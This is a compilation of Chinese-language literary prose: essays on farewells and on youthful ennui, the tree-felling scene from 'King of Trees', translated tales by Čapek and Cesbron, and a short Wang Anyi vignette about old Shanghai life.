　　在现代人的生活里，送行是和拜寿送殡等等一样的成为应酬的礼节之一。“揪着公鸡尾巴”起个大早，迷迷糊糊的赶到车站码头，挤在乱哄哄人群里面，找到你的对象，扯几句淡话，好容易耗到汽笛一叫，然后鸟兽散，吐一口轻松气，撅着大嘴回家。这叫做周到。在被送的那一方面，觉得热闹，人缘好，没白混，而且体面，有这么多人舍不得我走，斜眼看着旁边的没人送的旅客，相形之下，尤其容易起一种优越之感，不禁精神抖擞，恨不得对每一个送行的人要握八次手，道十回谢。死人出殡，都讲究要有多少亲友执绋，表示恋恋不舍，何况活人！行色不可不壮。

　　悄然而行似是不大舒服，如果别的旅客在你身旁耀武扬威地与送行的话别，那会增加旅中的寂寞。这种情形，中外皆然。Max Beerbohm 写过一篇《谈送行》，他说他在车站上见一位以演剧为业的老朋友在送一位女客，始而喁喁情话，俄而泪湿双颊，终乃汽笛一声，勉强抑止哽咽，向女郎频频挥手，目送良久而别。原来这位演员是在作戏，他并不认识那位女郎，他是属于“送行会”的一个职员，凡是旅客孤身在外而愿有人到站相送的，都可以到“送行会”去雇人来送。这位演员出身的人当然是送行的高手，他能放进感情，表演逼真。客人纳费无多，在精神上受惠不浅。尤其是美国旅客，用金钱在国外可以购买一切，如果“送行会”真的普遍设立起来，送行的人也不虞缺乏了。

　　送行既是人生中所不可少的一件事，送行的技术也便不可不注意到。如果送行只限于到车站码头报到，握手而别，那么问题就简单，但是我们中国的一切礼节都把“吃”列为最重要的一个项目。一个朋友远别，生怕他饿着走，饯行是不可少的，恨不得把若干天的营养都一次囤积在他肚里。我想任何人都有这种经验，如有远行而消息外露（多半还是自己宣扬），他有理由期望着饯行的帖子纷至沓来，短期间家里可以不必开伙。还有些思虑更周到的人，把食物携在手上，亲自送到车上船上，好像是你在半路上会挨饿的样子。

　　我不愿送人，亦不愿人送我。对于自己真正舍不得离开的人，离别的那一刹那像是开刀，凡是开刀的场合照例是应该先用麻醉剂，使病人在迷蒙中度过那场痛苦，所以离别的苦痛最好避免。一个朋友说，“你走，我不送你；你来，无论多大风多大雨，我要去接你。”我最赏识那种心情。

树王

阿城

　　走不到好久，便望到树王了。树王的叶子在烈日下有些垂，但仍微微动着，将空隙间的阳光隔得闪闪烁烁。有鸟从远处缓缓飞来，近了，箭一样射进树冠里去，找不到踪影。不一会儿，又忽地飞出一群，前后上下地绕树盘旋，叫声似乎被阳光罩住，干干的极短促。一亩大小的阴影使平地生风，自成世界，暑气远远地避开，不敢靠近。队长忽然迟疑着站住，支书也犹疑着，我们便超过支书和队长向大树走去。待有些走近了，才发现巨大的树根间，坐着一个小小的人。那人将头缓缓扬起，我心中一动：是肖疙瘩。

　　肖疙瘩并不站起来，将双肘盘在膝上，眼睛直直地望着我们，一个脸都是紧的。李立望望树，很随便地对肖疙瘩说：“老肖，上来了？”又望望树，说：“老肖，你说这树，从什么地方砍呢？”肖疙瘩于是只直直地望着李立，不说话，嘴紧紧地闭成一条线。李立招呼我们说：“来吧。”便绕开肖疙瘩，走到树王的另一侧，用眼睛上下打量了一下，扬起手中的刀。

　　肖疙瘩忽然说话了，那声音模糊而陌生：“学生，那里不是砍的地方。”李立转过头来看着肖疙瘩，将刀放下，有些惊奇地问：“那你说是哪儿呢？”肖疙瘩仍坐着不动，只把左手微微抬起，拍一拍右臂：“这里。”李立不明白，探过头去看，肖疙瘩张开两支胳膊，稳稳地立起来，站好，又用右手指住胸口：“这里也行。”大家一下省悟过来。

　　李立的脸一下白了，我也觉得心忽然跳起来，大家都呆住，觉得还是太阳底下暖和。

　　李立张了张嘴，没有说出什么。静了一静，咽一下，说：“老肖，不要开玩笑。”肖疙瘩将右手放下：“我晓不得开玩笑。”李立说；“那你说到底砍哪儿？”肖疙瘩又将右手指着胸口：“学生，我说过了，这里。”

　　李立有些恼了，想一想，又很平和地说：“这棵树砍不得吗？”肖疙瘩手不放下，静静地说：“这里砍得。”李立真的恼了，冲冲地说：“这棵树就是要砍倒！它占了这么多地方。这些地方，完全可以用来种有用的树！”肖疙瘩问：“这棵树没有用吗？”李立说：“当然没有用。它能干什么呢？烧柴？做桌椅？盖房子？没有多大的经济价值。”肖疙瘩说：“我看有用。我是粗人，说不来有什么用。可它长成这么大，不容易。它要是个娃儿，养它的人不能砍它。”李立烦躁地晃晃头，说：“谁也没来种这棵树。这种野树太多了。没有这种野树，我们早完成垦殖大业了。一张白纸，好画最新最美的图画。这种野树，是障碍，要砍掉，这是革命，根本不是养什么小孩！”

　　肖疙瘩浑身抖了一下，垂下眼睛，说：“你们有那么多树可砍，我管不了。”李立说：“你是管不了！”肖疙瘩仍垂着眼睛：“可这棵树要留下来，一个世界都砍光了，也要留下一棵，有个证明。”李立问：“证明什么？”肖疙瘩说：“证明老天爷干过的事。”李立哈哈笑了：“人定胜天。老天爷开过田吗？没有，人开出来了，养活自己。老天爷炼过铁吗？没有，人炼出来了，造成工具，改造自然，当然包括你的老天爷。”

　　肖疙瘩不说话，仍立在树根当中，李立微笑着，招呼我们。我们都松了一口气，提了刀，走近大树。李立抬起刀，说：“老肖，帮我们把这棵树王砍倒吧。”肖疙瘩一愣，看着李立，似乎有些疑惑，随即平静下来。

　　李立举起刀，全身拧过去，刀从肩上扬起，寒光一闪，却梦一般，没有砍下的声响。大家眨一下眼，才发现肖疙瘩一双手早钳住李立的刀，刀离树王只有半尺。李立挣了一下。我心下明白，刀休想再移动半分。

　　李立狂吼一声：“你要干什么？”浑身扭动起来，刀却生在肖疙瘩手上。肖疙瘩将嘴闭住，一个脸胀得青亮青亮的，筋在腮上颤动。大家“呀”的一声，纷纷退后，静下来。

　　寂静中忽然有支书的说话声：“肖疙瘩！你疯了！”大家回头一看，支书远远地过来，队长仍站在原地，下巴垂下来，眼睛凄凄的。支书走近了，指一指刀：“松开！”李立松开刀，退后了半步。肖疙瘩仍捏着刀，不说话，不动，立着。支书说：“肖疙瘩，你够了！你要我开你的会吗？你是什么人，你不清楚？你找死呀！”说着伸出手：“把刀给我？”肖疙瘩不看支书，脸一会儿大了，一会小了，额头渗出寒光，那光沿鼻梁漫开，眉头急急一颤，眼角抖起来，慢慢有一滴亮。

　　支书走开，又回过身，缓缓地说：“老肖哇，你不是糊涂人。你那点子错误，说出天，在我手下，我给你包着。你种你的菜，树你管得了吗？农场的事，国家的事，你管得了吗？我一个屁眼大的官，管不了。你还在我屁眼里，你发什么疯？学生们造反，皇帝都拉下马了，人家砍了头说是有个碗大的疤。你砍了头，可有碗大的疤？就是有，你那个疤值几个钱？糊涂！老肖，这砍树的手艺，全场你最拿手，我知道，要不你怎么落个‘树王’的称呼呢？你受罪，我也清楚。可我是支书，就要谋这个差事。你这不是给我下不来台吗？学生们要革命，要共产主义，你拦？”

　　肖疙瘩缓缓地松下来，脸上有一道亮亮的痕，喉咙提上去，久久不下来。我们都呆了，眼睛干干地定着，想不起眨。原来护着树根的这个矮小汉子，才是树王！心头如粗石狠狠擦了一下，颤颤的，脑后硬起来。

　　真树王呆呆地立着，一动不动，手慢慢松开，刀哐当一声落在树根上。余音沿树升上去，正要没有，忽然如哭声一般，十数只鸟箭一样，发一阵喊，飞离大树，鸟儿斜斜地沿山势滑飞下去，静静地又升起来，翅膀纷纷抖动，散乱成一团黑点，越来越小，越来越小。

　　李立呆呆地看看大家，精神失了许多。大家也你看看我，我看看你。支书不说话，过去把刀拾起来，交给李立。李立呆呆地看看刀，一动不动。

　　肖疙瘩慢慢与树根断开，垂着手，到了离大树一丈远的地方立下，大家却不明白他是怎么走过去的。

　　支书说：“砍吧，总归是要砍，学生们有道理，不破不立，砍。”回头招呼着：“队长，你过来。”

　　队长仍远远站着，说：“你们砍，学生们砍。”却不过来。

　　李立抬起头，谁也不看，极平静地举起刀，砍下去。

邮递员的童话

卡雷尔 · 恰佩克

　　邮递员科尔巴巴先生对他自己的工作干厌了：他说邮递员整天东奔西跑，左转右转，鞋掌走破了，鞋跟走坏了；每天要走二万九千七百三十五步，其中要上下八千二百四十九级楼梯，送的老是些印刷品、汇票和一些微不足道的东西，它们能给人什么快乐呢？

　　有一回，科尔巴巴先生在邮局里闷闷不乐地坐在火炉旁边，坐着坐着就睡着了。

　　到了六点钟，邮局的门就锁上了，所有的邮局职员全都分头回家了，光剩下科尔巴巴先生一个人给锁在里面睡他的大觉。

　　近半夜的时候，他给一阵悉悉沙沙的声音吵醒了，他以为是些老鼠，可睁眼一看，却是邮局里的家神。他们是些长着大胡子的小人，个子只有小鸡那么大，每个人头上戴一顶邮递员帽子，披一件邮递员斗篷。

　　科尔巴巴没出声，偷偷瞧着这些家神。

　　他们当中有一个把科尔巴巴早晨要送的信叠在一起；第二个分邮件；第三个称邮包、贴标签；第四个发脾气，因为有一个邮包捆得不合规矩；第五个坐在窗口数钱。第六个站在电报机旁边发电报，第七个和第八个在一起处理一封特别的信件。

　　一会儿，第八个家神说：“好，公事都办完了，先生们，咱们来打牌好吗？”

　　“好呀！”第一个家神回答着，数出了三十二封信。

　　第二个家神拿起这些信来洗牌。

　　他们切好牌，就开始打牌了。

　　“我出牌。”

　　“我压倒它。”

　　“王牌在我这里！”

　　科尔巴巴看到这里，实在忍不住了。

　　“对不起，小人先生们，请问你们打得是什么牌？”

　　“啊，科尔巴巴先生！”第一个家神回答说，“请坐下来和我们一起打牌吧。”

　　他给了科尔巴巴几封信，说：“您出牌吧。”

　　科尔巴巴疑惑地说：“可这是要送的信，不是什么牌啊！”

　　小人们告诉科尔巴巴：每封信的价值有大有小，所以可以当牌使，比如：最小的牌，是那些撒谎骗人的信；次小的是例行公事的信；第三种是纯属礼貌的应酬信；第四种是讲新鲜有趣的事的信；第五种是好朋友之间的信；第六种是愿为对方效劳的信……

　　小人们又告诉科尔巴巴：第七种是大牌，是表达爱情的信。

　　最大的一种牌——王牌，是把整个心掏给对方的信：比如妈妈写给自己孩子的信，或者是一个人写给爱得胜过自己生命的人的信。

　　可科尔巴巴还是不懂：“请问，你们怎么知道信里写的是什么呢？”

　　“科尔巴巴先生，”第一个家神说，“我们只要摸摸信封就知道。没有感情的信是冰凉的，信里爱情越多，信就越热。”

　　“哦，是这样，那你们吃什么呢？”科尔巴巴问。

　　家神们回答：“我们有时候煮电报纸条吃，有时候添邮票，不过我们最爱吃面包屑……”

　　科尔巴巴后来又睡着了，直到第二天才醒过来。他在夜里看到的事，对谁也没说。不过从此以后，他送信更加起劲了。

　　“这一封信很热，”他心里说，“这一封信简直是热得发烫：准是哪一位妈妈写的。”不知为什么，他也能分出哪封信冰凉，哪封信火热了。

　　有一回，科尔巴巴发现了一封没写收信人地址和姓名，也没有贴邮票的信。他找到邮局局长，咕噜说：“局长先生，这封信热极了，显然是用整个心来写的。”

　　于是他说出了家神的事，希望局长允许他在邮局留下来过夜，以便请教家神们。

　　局长同意了。于是科尔巴巴先生让自己一个人锁在邮局里过夜。半夜里，他等小人们把工作都做完之后，坐下来和他们一起用信打牌。

　　轮到科尔巴巴先生打牌时，他打出了那封信。

　　小人们说：“啊，您赢了，您的牌最大，是王牌，因为这是一封表达爱情的信。”

　　“这不可能，”科尔巴巴故意表示不同意。

　　一个小人把信贴在脑门上，闭上眼睛，念了起来：“我的最亲爱的玛任卡，我写信告诉你，如今我当了司机，只要你同意，我们就可以结婚了。如果你还爱我，请赶快来信。忠实于你的弗兰齐克。”

　　早晨科尔巴巴先生向邮局局长报告，说这是一位叫弗兰齐克的青年向那位玛任卡小姐的求婚信。

　　“我的天，”局长叫道，“这是封极重要的信，必须把它送到！”

　　“好的，局长先生，”科尔巴巴先生说，“我去找这个收信人，哪怕要走一年，哪怕要走遍全世界。”

　　他把那封信放进邮袋，还放进些面包，就出发了。他走啊走的，到处打听有没有一个叫玛任卡的姑娘。他哪儿都去过了，走遍了整个捷克，一共找到了四十万零九千九百八十个玛任卡，可她们没一个在等一位叫弗兰齐克的司机的信。

　　科尔巴巴先生就这样走了整整一年零一天，怎么也没法把信送到那位玛任卡小姐手里。他走过农村和城市，田野和森林，整整一年零一天，他什么都看了个够，可是一无所得。

　　他在路边低头坐着，心里说：“看来我是白走了一趟，找不到这位玛任卡小姐了。”

　　他难过得流泪。这时，大路上来了一辆汽车。它开得很慢——一小时才走六公里，像在爬似的。可等这辆汽车开近一看——天啊，这是一辆有八个气缸的漂亮小汽车。坐在车里的先生对科尔巴巴先生说：“请上车吧，邮递员先生，我带你一段路！”

　　科尔巴巴先生的脚很疼，就上了车。

　　他看到，开车的司机穿一身黑衣服，愁眉苦脸；坐在车里的那位先生同样穿一身黑衣服，也是愁眉苦脸。

　　科尔巴巴忍不住问：“这样出色的小汽车，为什么开得这样慢呢？”

　　那位先生回答：“因为开车的是位愁眉苦脸的司机。”

　　那位先生继续说：“因为他一年零一天以前给他心爱的人寄出一封信，却没有收到回信。因此他想，她不爱她了。”

　　科尔巴巴先生叫起来：“请问司机先生是不是叫弗兰齐克？那位小姐是不是叫玛任卡？”

　　司机伤心地回答：“我是弗兰齐克，那个负心女子正是叫玛任卡。”

　　“哈哈，”科尔巴巴高兴地叫起来，“不写姓名地址，不贴邮票就寄信的傻瓜就是您哪！玛任卡小姐没收到您的信，怎么给您回信呢？我找了她整整一年零一天，现在，快告诉我玛任卡小姐的地址。”

　　突然，弗兰齐克加大油门，汽车往前直冲，像飞起来一样快。

　　汽车开到一个漂亮的村庄，因为弗兰齐克不好意思去见玛任卡，科尔巴巴先生只好下车，向一座小房子走去。他见到了一位面色苍白的伤心姑娘，他问：“玛任卡小姐，您为什么这样伤心？”

　　“因为已经一年零一天了，我一直在等一封信，可这封信总是不来……”

　　科尔巴巴先生把信交给她。玛任卡小姐用哆嗦着的手把信拆开，刚一读，她的两颊就泛起了红晕，她嘟哝说：“我等了一年零一天的信正好是这一封。我不知怎样谢您才好，邮递员先生。”

　　“您付给我两个克朗的欠资费吧，我得为邮局追回这两个克朗！”

　　科尔巴巴收下两个克朗，说：“小姐，那边有个人正等着您的回音呢。”

　　他朝司机一点头，弗兰齐克立刻过来了。科尔巴巴先生赶紧逃开，去和车上那位先生坐在一起。

　　“这种事情当面谈比寄不写姓名地址的信要容易解决得多了。”科尔巴巴先生嘟哝着。

　　弗兰齐克回来了，他一句话不说，只是两眼在笑。

　　“走吧，”那位先生说，“把科尔巴巴先生送回邮局。”

　　司机一踩油门，汽车就像在梦境中一样轻飘飘地开走了。

　　“汽车跑得这样快，因为开车的是一位幸福的司机。”那位先生说。

　　他们顺利地到达了邮局。

青春的倦怠

三岛由纪夫

一：什么是倦怠？

　　所谓倦怠是非常奢侈的东西。首先，我现在没有闲工夫拥有倦怠。因为每天得忙于工作，忙于奔波生活。再说，社会上有百分之九十九的人不可能拥有倦怠。而且想要咀嚼真正的倦怠滋味，得花费很多金钱。为什么呢？因为随着没钱而来的无可奈何和被逼得走投无路的心境，同倦怠相距甚远。

　　在人们常说的青春的倦怠里，虽然也有人把没钱去看电影而无所事事地呆在简易公寓的二楼上的情景称为青春的倦怠。但这能不能说是倦怠，还是个疑问。其实，所谓真正的倦怠，是武侯贵族的专利，只有这些人才懂得倦怠的真正可怕。在简易公寓的二楼上恍恍惚惚的人，既苦于处置自身，又难于对付青春，在时而忧郁时而开朗的状态中，打发着无所作为的日子，这样他还是一无所获。而倦怠，则是拥有一切的人，在他们完全派不上用场的时候，才感受到的东西。王尔德曾经说过：“人世间有两类不幸，即一无所获的不幸和整个拥有某种东西的不幸。后者更为不幸。”这更为不幸的后者，就是倦怠。

　　然而，所谓青春就是尚未得到某种东西的状态，就是渴望的状态，憧憬的状态，也是具有可能性的状态。他们眼前展现着人生广袤的原野和恐惧，尽管他们还一无所有，但他们偶尔也能在幻想中具有一种拥有一切的感觉。把这种感觉同上述倦怠的定义两相对照，就会明白所谓青春的倦怠，是语言本身的矛盾。实际上，青春是不可能有倦怠的，而且倦怠这种感情同青春的意义是相反的。

二：青春的孤独

　　既然如此，人们为什么还要使用青春的倦怠这样的词呢？因为它是一种带点俏皮，又有点忧虑的说法。就是说，这是忧郁症的，却又带有某种甜蜜感觉的词。

　　人们常在公园的长椅子上或在街口处，看见挂着一副副寂寞面孔的青年男女的身影。虽说是男女，却各不相干。他们至少在成对的情侣漫步时，脸上露出奕奕的神采。这种神采，其实不是倦怠，而是青春以非常迅速的脚步同孤独互不妥协才产生的。

　　毋宁说，我更想谈谈有关青春的孤独的问题。为什么呢？因为没有什么比青春更能强烈地感受到孤独，也没有什么比青春更能与孤独和睦共处。青春在一个个瞬间体味着孤独，并且眼看着行将从孤独中摆脱出来时，顷刻间又消失，复陷入孤独。青春不是孤独的状态。就是说，人既不能充分享受相互亲密，和睦共处，安逸地圆满地共同生活，也不能习惯于这种状态。乍看酷似倦怠的那种孤独，就在那里出现了。我们所称的孤独，是指在这种精神性的共同生活中所产生的那种唯独自己行将被埋葬掉的感觉。但同时，也是处在这样一种状态，即在这种精神的共同体里，比别人会有更多的憧憬。年轻人对这种状态比别人抱有更强烈的憧憬。在憧憬之余，又不满足于这种憧憬。

　　让我们假设这里有一个少女吧。这个少女确信自己不能爱别人。她真的不能爱任何人。她偶尔也同男性朋友散步，去看电影，去跳舞。然而，当这位男性朋友向她表示爱意时，她自己的那份爱情却旋即冷却，而且觉得他仿佛是个充满可恨的欲望的怪物，她的幻想立即幻灭，反而变得讨厌他了。于是，她立即回到孤独状态，在孤独中咀嚼类似倦怠的东西。她一无所获，却还在体味着倦怠。正确地说，是在体味着像是倦怠的东西。

　　她对人生抱有一种恐惧。这种恐惧使她只想把自己封闭起来。这种自我封闭的心情，同试图深入封闭状态中并勇往直前的心情之间的矛盾，总是使她陷入孤独，并且成为她总是嘟囔着人生真没意思那句口头禅的根本原因。这时候，她会将自己与人生之间拉开某种模糊的距离。试图在其间能够心安理得地获得休息。她会说：“寂寞啊。真寂寞”她知道一旦有了爱，就不会感到寂寞了。但是，她没能找到爱的对象。于是，又不由得说“寂寞啊。真寂寞”最终又将自己封闭了起来。

　　她仰望着春天的苍穹、白云，凝视着翠绿的树林。然而，这些景象都没能给她带来任何喜悦，她仿佛在拒绝自己。于是，她自己既不前进，也不后退，宛如处在悬空状态，变得朦胧了。她心想：如果自己能变成整个不存在就好了。可是自己又没有勇气自杀。她想：假如自己能原封不动地变成一缕烟云消失得无影无踪就好了。可是，自己怎么也难以消失。她仿佛在施展隐身法……她带着这种心境，茫然呆坐在窗边。于是，春天渐渐过去，她把这种情景称为青春的倦怠。然而，这究竟包含着什么意思呢？

三：充实孤独的方法

　　在人生的道路上，往往遇到许多这样的情况：最爱装诚实的人，其实是最狡猾的。看似最狡猾的人，实际上在工作中却是最诚实的。这是我们走上社会学到的惊异事物之一。

　　学生时代，学生还不是社会人，因此学生时代也是只顾滥用诚实的时代。于是最懒惰的人和最狡猾的人，得以滥用诚实而不被人识破就混过去了。

　　我们经常遇见挂着一副诚实面孔的少女和青年，她和他们着实认真对待人生，不能宽恕丝毫的罪恶，也不能容忍一点污垢。她们憎恨所谓的成年人，弹劾成年人的肮脏行径。尽管如此，大人们都在从事某项工作，而她们则还没有工作。也就是说，她们还处在青春的倦怠状态。我想说的，是这种倦怠对于人生显得很真挚，但实际上在很多情况下，却是一种狡猾的自我辩护。这是一种不使自己受到伤害的自我维护。于是，作为充实这种倦怠和孤独的方法，人们就读书。

　　且说，问题是读书的方法。我仔细地回顾了自己青春时代的读书情况，那是我从未有过的，为了自我辩护而读书的时代。换句话说，也没有哪个时代像这时的读书是那样地有助于我的人生，那样地易于掌握。大多数年轻人读书的情况是，缺乏客观性的读书，无批判的读书，为了自己只抽出自己喜欢的书来读，自己先做结论，甚或只取出迎合结论的书来读。表面上看，这种读书似是一心为了探索自己所不懂的东西，而实际上从结果来说，很多都是如上所述的读书。我们小说家知道如何从商业角度去施展手段来迎合这样的读者。可悲的是，只为迎合这样的读者而写作的小说家，也并非没有。

　　但是，我并不是说这样的读书全都是负面的。在为了充实青春的所谓倦怠，为了自我辩护而读书的过程中，宛如沙里淘金留下砂金一样，最后总是会有一点好东西留在自己身上的，这种情况也是为数不少的。这就像读书，最后意想不到地触碰到核心的东西。这个核心的东西，最后会向读书人说声“不”，在最后的瞬间说声“不”，这是违背读书人为自我辩护而读书的初衷的。在真正一流的读物中，洋溢着这种“不”的力量。而且这种力量威胁着他们，把他们从先前心安理得的状态中驱逐出去，并促使他们腾飞起来。那里就有读书的不可思议的效果。没有遇上这样一流读物的人，只能说是他的真正的不幸。

　　我已举出一个读书的例子，不过，青春是那么难以捉摸，为了抚慰不知如何消遣才好的心情，人们或许会去看电影。电影会把人生截断达一个半小时之久，让你沉湎在各式各样的梦中，沉浸在多姿多彩的幻想里。结果，电影有时会使人产生一种错觉，以为电影仿佛就是一种现实。当然，电影将会利用这种错觉。它帮助人们消磨时光，使人们最轻松自如地消遣。我认识的一个年轻人，一周之内竟到处看了十部电影。他们只是像躺在床上张口等人来喂药的病人那样，简直是主动接受别人酌量发给的某样东西。然后，这样做即使能够消遣时光，却丝毫也不能派遣他们原本所说的倦怠或孤独。他们越发感到孤独，最后，剩下的就是一些无法清理的陈腐的渣滓。

　　前面我说过，人生的真挚生活方式，立志诚实，在这种感情中潜伏着青春的某种狡猾。但是，我认为人这种动物，从孩提起直至老迈，在各个年龄层里都顽固地具有各自层面的狡猾。孩子有孩子的可怕的狡猾劲，就连疯子也有疯子的狡黠。还有老人还有老人的圆滑，中年男子更有他们出了名的奸诈。四十八岁人有四十八岁人的狡猾。这又怎能唯独要求青春不能拥有自己的狡猾呢。如此看来，所谓狡猾，也可以说是人类为了求生存而不得不采取的一种自我保护的方法。

　　但我想说的是，至少那些诚实的青年男女在青春时代的狡猾，实际是以一种逆反的形式表现出来的。就是说，他们出于自我保护，必须戴上面具，以显示自己着实是个诚实的人，绝对诚实。于是，就要让那些不过是来自对人生的恐惧的东西，拥有恰似真挚地探索人生似的影子。然后真正的诚实并不是这种东西。真正的诚实，是不宽容自己的狡猾的。并且不断怀疑自己究竟是不是诚实。可是，青春时代并不怀疑自己的狡猾，并不希望自己始终都是纯洁而诚实的。因此毋宁说，那不是青春的诚实。也可以说，那是对青春的诚实的憧憬吧。

　　那么，它同先前所说的倦怠有什么关系呢？我想说的，是要用探索人生的做法，指明在他们毫无道理的议论，随便胡乱的读书，被疯狂般的行动所驱使的种种行为中，潜藏着试图摆脱孤独而手足无措的盲目行动。

四：怎样克服倦怠

　　昔日尼采曾就希腊古代的厌世主义做过论述，它是就有过阿提卡地方的抒情诗中屡屡出现所谓阿提卡的忧愁所作的说明。尼采将阿提卡的忧愁阐释为：这是用至今依然处在朝气蓬勃的青春年代的希腊民族的丰盈本身所产生的一种苦恼。尼采说明它虽然是一种厌世主义，悲观主义，但却是强有力的悲观主义。尼采是在说：丰盈和丰饶本身会产生一种苦恼。这就是同我们前面所说的拥有一切者那种可怕的倦怠有所区别的缘故。

　　在这里，实际上就成立了一个简单的计算公式。就是说，这里的不平衡是由肉体能量的过剩所产生的不平衡，是精神的未完成与肉体的已完成之间的不平衡。缘此，只须稍许扣除多余的一方，以补足增加少的一方，就可以取得平衡。体育运动与精神行动是青春的同义词，其道理就在于此。总之，要消耗过剩的东西，把过剩的东西消耗尽，才是最符合青春的生理要求。如果让某些过剩的东西原封不动不加处理的话，那么过剩的能量就会反过来压倒精神，促使精神发达不起来。就像梅树开花必须剪枝一样，青春为了自我调节，为了使自己的精神能够充分的发挥，就有必要通过体育运动或其他活动来消耗自己的能量。当人的肉体受到残酷的使用时，人就会有一种不可思议的感觉，即这种残酷使实际上会给人带来某种爽朗的喜悦，同时也会使人精神焕发。总之，喜欢深入思考问题的人需要到户外去四处走走。但是，只顾四处走走，进行体育运动全然不运用精神，也是一种畸形。通过体育运动消耗过剩的能量，随后在愉快的疲劳里思考问题，这才能取得平衡。于是，思考才能变得正常，精神本身也就不为过剩的东西所烦恼，而能清澈地发挥作用。另外，如果肉体获胜而变得过剩，那就有必要尽量运动以消耗体力，使它转换到精神上来。

　　归根结蒂，我认为青春的种种问题，都是出自精神和肉体的不平衡。人们会逐渐察觉到，乍看知性离奇发达的人，绝不是使精神本身发达的。为什么呢？因为精神这种东西，在受到肉体压迫期间，是不可能充分发挥作用的。即使人们试图单凭精神的力量去解释、压迫或完美地分析肉体，这在青春时代是不可能办到的。这样说，绝不言过其实，到了完全能够做到这一点的人，就可以称为成人了。

　　1957 年 6 月

小事

吉尔贝 · 塞斯勃隆 著，王晓峰 译

　　在巴黎法兰西学士院的一个院子里，正对着窗户，从葡萄藤中间露出一段管子，正好有一握粗。谁也不知道管子通到哪儿，用来干什么，所以也没人去注意它。可是，每年有一只小鸟来这儿窝，它待在里面刚刚合适，就像一粒子弹装在枪膛里似的。它感到很安全，很清静，所以从早到晚都放开嗓子唱歌。附近一间办公室里有个年老的办事员，总开着窗户。每天上午，他第一件事就是开窗，而下班前，他最一句话就是对着鸟儿说声再见。

　　可是，有一天，工人来修理滑落墙上的檐沟。“您爬上去以后，把那段管子给拔下来，它什么用也没有！”于是，鸟儿飞到别的地方藏身去了。在窗子边办公那个老头儿觉得很不舒服，工作没精打采。过了好几天，他俯身到窗外，用手拨弄葡萄藤，才明白为什么自己这么难受，这么阴郁……

　　“见鬼！见鬼！”

　　他擦了擦脑门子。“见鬼！见鬼！”他在这里工作 40 年了。40 个春秋，一切都按部就班，有条不紊：每天要写同样多的文字，每天有同样多的记录要归档，同样多的文件要研究……40 年啦！而今天……

　　他摘下眼镜、小圆帽和套袖，没有对他的同事们解释（他怕一提起来就发火），径自下了楼，打算去管理诉苦。可是，走到半路他觉得自己心中的委屈似乎有些孩子气，而且这么做也决不会使他再听到小鸟的歌声。他又从原路返回办公室。一整天都压着一股火，还早退了 20 分钟—40 年来，这还是第一次。他用这个时间通过艺术桥（注：塞纳河上通向卢浮宫正门的桥），沿着梅依斯里滨河大街一直走到一家卖鸟的铺子，把那里每只鸟儿叫声都听过一遍，然后选了一只。这只鸟啁啾的叫声最像他那人去的同伴了。他把鸟装在一个柳条笼子里，发黄、干瘦的手指头从柳条缝隙伸进去：“特噜……特噜……”

　　前一天下班走得早，第二天他比谁都先到。他把鸟笼挂在窗户旁边，添上水和小米儿，还放了一块墨鱼骨头，然后开始等待。那鸟在他离开之后，把这小小的王国巡视一番，用嘴玩弄一下葡萄藤，孤独之中试了试嗓子，就不断线地唱起来了。老头笑了笑，瞥了一眼周围的同事，终于重新感到了愉快，能专心工作了。

　　有一天，一个当官的从院子里走过，发现那只鸟笼把整个布局都破坏了：“法兰西学士院可不是门房，也不是穷公务员的阁楼间！”……人家是领导，就别想对他解释。鸟笼不见了。

　　过了不久，老公务员再也忍受不了这漫长、无聊的日子，便要求退休。不巧的是，只有他认识同办公室的那位女同事的笔迹。在发生了几次差错以后，那位女职员也不得不辞职。

　　可是，20 年来，她说什么话都成了习惯，对面那位职员虽然耳聋，只要看看她的嘴唇怎么动就知道她说什么。现在聋子失去了唯一的翻译，不能继续工作了，只得接着告退。

　　然而，只有他一个人知道这儿档案的分类法。他走了之一，档案出现了混乱，接手的人因此被解雇—当然并不是没有争吵，而是在这古老的屋顶下发生了一起最为激烈的口角—该办事员工作效率很高，可是性情暴躁。他哥哥为了维护自己的尊严，也一起离职了，因为他们是科西嘉人。

　　那位老兄十分高傲，说走就走，完全没有把工作交代一下。他本来是负责检查学士院房屋维修情况的。这幢房子年久失修，已经破旧不堪了。10 月份下雨的时候（这里，那位老职员又高兴地听到了他那小同伴的歌声），房顶的檐沟坏了，雨水从天花板渗了进来，地板塌了，墙壁裂了缝。从外表看，并没有什么变化，要不是有一个人得病死了，一切还都看不出来。

　　房屋碰坏的情况被发现时，已经不来及弥补。于是，人们扛来一个大型脚手架，靠在不太结实的墙上，把快塌的墙都推倒了。

　　经过几个世纪的冷遇，官方的建筑师忽然发现楼里有许多阁楼间、贮藏室和密室—按他们的说法有许多“浪费了的地方”。文化部认为自己的房子太挤，扬言要把这座大楼拨归他们使用，法兰西学士院当然不答应。一大群法学家和典籍学家纷纷研究大楼的所有权，撰写回忆录。另一方面，人们又画了许多平面图，就这一争执交换了各种颜色封面公文。也就在这个时候，维修工作中断，连脚手架也开始摇晃起来了。

　　官司一直打到内阁。内阁声称若干年之后才宣判。有时候，夜里有几块隔板掉了下来，几段不结实的墙坍塌。

　　也有时候，一位很老的老先生—看门的仿佛还能认出他—走进院子里，一面摇着头，一面长时间地察看这座破败的大楼。

　　还有时候，一只非常小的鸟儿，唱着歌从这堆废墟上飞过。

过去的生活

王安忆

　　一日，走在上海虹桥开发区前的天山路上，在陈旧的工房住宅楼下的街边，两个老太在互打招呼。其中一个手里端了一口小铝锅，铝锅看上去已经有年头了，换了底，盖上有一些瘪塘。这老太对那老太说，烧泡饭时不当心烧焦了锅底，她正要去那边工地上，问人要一些黄沙来擦一擦。两个老人说着话，她们身后是开发区林立的高楼。新型的光洁的建筑材料，以及抽象和理性的楼体线条，就像一面巨大的现代戏剧的天幕。这两个老人则是生动的，她们过着具体而仔细的生活，那是过去的生活。

